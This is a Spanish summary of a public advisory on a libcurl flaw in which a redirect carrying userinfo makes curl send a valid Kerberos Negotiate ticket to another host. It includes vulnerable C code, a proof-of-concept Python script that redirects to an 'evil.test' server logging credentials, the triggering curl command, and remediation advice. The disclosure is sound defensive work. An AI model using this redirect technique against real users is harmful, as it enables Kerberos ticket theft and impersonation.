Reports
MEDIA[AUTENTICACIÓN]#3993549

curl entregaba tickets Kerberos (Negotiate) a otro host tras una redirección con usuario y contraseña en la URL

Una redirección cuyo Location incluía usuario:contraseña desactivaba en libcurl el control que impide enviar credenciales a otro origen, y curl mandaba un ticket Kerberos válido al servidor del atacante.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

libcurl tiene una regla clara: cuando sigue una redirección hacia un origen distinto del inicial, deja de enviar cabeceras de autenticación (salvo que se active CURLOPT_UNRESTRICTED_AUTH). El investigador encontró que esa regla se podía anular con un truco mínimo: bastaba con que la URL de la cabecera Location: de la redirección llevase userinfo, es decir, un prefijo user:pass@ delante del host del atacante.

Con la autenticación Negotiate (SPNEGO/Kerberos) activada, el resultado era que curl generaba un ticket de servicio Kerberos auténtico para el host del atacante, a partir del TGT real del usuario, y se lo enviaba en Authorization: Negotiate. El fallo tiene asignado el CVE-2026-86413.

Dónde estaba el error

La decisión de adjuntar cabeceras de autenticación se toma en Curl_http_output_auth():

// lib/http.c:874
if(data->state.creds || Curl_auth_allowed_to_host(data))
    result = output_auth_headers(data, conn, authhost, request,
                                 path_and_query, FALSE);

Curl_auth_allowed_to_host() es la protección entre hosts: devuelve falso si el origen actual no coincide con el inicial (y no se ha permitido expresamente enviar autenticación a otros hosts):

// lib/vauth/vauth.c:140-149
bool Curl_auth_allowed_to_host(struct Curl_easy *data)
{
  return Curl_auth_allowed_to_origin(data, data->state.origin);
}

bool Curl_auth_allowed_to_origin(struct Curl_easy *data,
                                 struct Curl_peer *origin)
{
  return data->set.allow_auth_to_other_hosts ||
         Curl_peer_equal(data->state.initial_origin, origin);
}

El problema es el data->state.creds || que va delante: si hay credenciales en el estado, la comprobación de origen ni se evalúa. Y esas credenciales se rellenan en url_set_data_creds(), que se ejecuta con cada URL, redirecciones incluidas. Ahí solo la rama de credenciales configuradas por opción (CURLOPT_*) pasa por Curl_auth_allowed_to_origin(); la rama que extrae usuario y contraseña de la propia URL no tiene ningún control:

// lib/url.c:1423-1456
static CURLcode url_set_data_creds(struct Curl_easy *data, CURLU *uh)
{
  ...
  if((CURL_EASY_STR(data, STRING_USERNAME) || ... ) &&
     Curl_auth_allowed_to_origin(data, data->state.origin)) {
    result = Curl_creds_create(..., CREDS_OPTION, &newcreds);
    ...
  }

  /* Extract credentials from the URL only if there are none OR
   * if no CURLOPT_USER was set. */
  if(!newcreds || !Curl_creds_has_user(newcreds)) {
    ...
    result = Curl_creds_merge(udecoded, pdecoded, newcreds,
                              CREDS_URL, &newcreds);
    ...
  }

La cadena completa: el servidor redirige a una URL con user:pass@ delante del host del atacante, url_set_data_creds() deja data->state.creds con valor, y eso cortocircuita el control de Curl_http_output_auth(). El destino final es Curl_output_negotiate() en lib/http_negotiate.c:219.

Lo llamativo en el caso de Negotiate es que el usuario y la contraseña de la URL ni siquiera se usan: GSSAPI/SSPI fabrica el token con el TGT de Kerberos que ya tiene la sesión del cliente. Por eso el atacante puede poner cualquier texto basura como userinfo; no necesita conocer ninguna credencial.

Origen del fallo

Según el reporte, se introdujo con el commit 8f71d0fde51 ("creds: hold credentials", 11 de mayo de 2026). Antes de ese cambio, la condición era estricta y estaba comentada con su propósito:

/* To prevent the user+password to get sent to other than the original host
   due to a location-follow */
if(Curl_auth_allowed_to_host(data) || conn->bits.netrc)

Ese commit eliminó el comentario y la comprobación estricta, añadió el atajo data->state.creds || y, a la vez, introdujo el tratamiento desigual entre credenciales por opción y credenciales en URL dentro de url_set_data_creds(). Ninguna de las dos piezas basta por sí sola; juntas reabren justo la fuga que el comentario borrado pretendía evitar. El investigador lo confirmó en main a fecha del commit 38703fe2 (2 de septiembre de 2026).

Pasos de reproducción

Requisitos: una build de curl con soporte SPNEGO y un TGT de Kerberos activo en la máquina cliente (en la prueba, de un usuario de prueba del realm EXAMPLE.COM, con curl/8.21.0-DEV).

  1. Levantar dos servidores locales: orig.test, que responde con una redirección 302, y evil.test, que guarda en un fichero todo lo que recibe. En modo exploit la redirección lleva userinfo; en modo control, no. El script del investigador (con partes recortadas en el original):
# Repro: libcurl sends an Authorization: Negotiate (SPNEGO/Kerberos) token to an
# attacker-controlled host after a redirect whose Location carries userinfo.
MODE="$1"   # "exploit" or "control"
...
cat > "$KRBDIR/vf_peers.py" <<'PY'
import socket, sys, threading, os, time
MODE=sys.argv[1]
ORIG=int(os.environ["ORIG_PORT"]); EVIL=int(os.environ["EVIL_PORT"])
OUT=os.environ["EVIL_OUT"]
def serve(port,handler):
    s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
    s.bind(("127.0.0.1",port)); s.listen(8)
    while True:
        c,_=s.accept()
        try: handler(c)
        except Exception: pass
        c.close()
def orig(c):
    c.recv(65536)
    if MODE=="exploit":
        loc="http://user:[email protected]:%d/secret"%EVIL   # userinfo -> triggers bug
    else:
        loc="http://evil.test:%d/secret"%EVIL             # no userinfo -> control
    b=b"redir"
    c.sendall(("HTTP/1.1 302 Found\r\nLocation: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n"%(loc,len(b))).encode()+b)
def evil(c):
    data=c.recv(65536)
    with open(OUT,"ab") as f: f.write(b"EVIL_RECEIVED:\n"+data)
    c.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
threading.Thread(target=serve,args=(ORIG,orig),daemon=True).start()
threading.Thread(target=serve,args=(EVIL,evil),daemon=True).start()
time.sleep(15)
PY
...
  1. Lanzar curl una sola vez contra el servidor original, con Negotiate activado y siguiendo redirecciones:
timeout 60 curl -sS --negotiate -u : -L "http://orig.test:${ORIG_PORT}/start" -o /dev/null || true
  1. Mirar lo que ha recibido el servidor del atacante:
cat "$EVIL_OUT"

En modo exploit, evil.test recibió esto (token sustituido aquí):

EVIL_RECEIVED:
GET /secret HTTP/1.1
Host: evil.test:18081
Authorization: Negotiate [REDACTADO]
User-Agent: curl/8.21.0-DEV
Accept: */*

Era un ticket de servicio GSSAPI/Kerberos completo y válido para HTTP/evil.test, generado con el TGT real del cliente.

  1. Repetir en modo control: con la redirección sin userinfo, curl no envía ninguna cabecera Authorization. Mismo código, mismas condiciones; lo único que cambia es la presencia de user:pass@ en el Location:.

Impacto

Según el investigador, cualquiera que controle un servidor HTTP al que la víctima haga peticiones siguiendo redirecciones podía conseguir que curl le entregase un ticket Kerberos de la víctima para el nombre de host que el atacante eligiese. Ese ticket puede capturarse o retransmitirse para suplantar a la víctima en otros servicios, y la combinación de condiciones necesaria es habitual en entornos corporativos con SSO.

Condiciones necesarias:

  • CURLOPT_FOLLOWLOCATION activado (-L).
  • CURLAUTH_NEGOTIATE o CURLAUTH_ANY (--negotiate).
  • curl compilado con soporte SPNEGO.
  • CURLOPT_DISALLOW_USERNAME_IN_URL desactivado (su valor por defecto).
  • Una sesión Kerberos/SSPI ya iniciada en el cliente.

Remediación

El reporte figura como resuelto, pero no detalla el parche final. El investigador propuso dos caminos: aplicar en la rama de credenciales de URL de url_set_data_creds() (lib/url.c:1454) la misma comprobación Curl_auth_allowed_to_origin() que ya tenía la rama de opciones, o eliminar el userinfo de los destinos de redirección antes de extraer credenciales, salvo que esté activado CURLOPT_UNRESTRICTED_AUTH.

Qué aprender de este caso

  • En cualquier cliente HTTP que siga redirecciones, comprueba si la URL del Location: puede aportar credenciales nuevas y si esas credenciales pasan por el mismo control de origen que las configuradas por el usuario. Una asimetría entre dos fuentes de credenciales es exactamente lo que abrió este hueco.
  • Desconfía de condiciones del tipo tengo_credenciales || origen_permitido: si un dato controlado desde fuera puede hacer verdadera la primera parte, la segunda deja de proteger. El control de origen debería ser obligatorio, no una alternativa.
  • Con mecanismos de autenticación ambiental (Kerberos, NTLM, SSPI), el riesgo no depende de lo que el atacante sepa: el cliente fabrica el secreto por su cuenta. Al auditar, busca cualquier camino que "active" la autenticación hacia un host nuevo, aunque los datos aportados sean basura.
  • Los comentarios que explican una comprobación de seguridad ("to prevent the user+password to get sent to other than the original host") son una pista para revisar refactorizaciones: si un commit borra el comentario y relaja la condición, merece una prueba de regresión específica con redirecciones entre orígenes.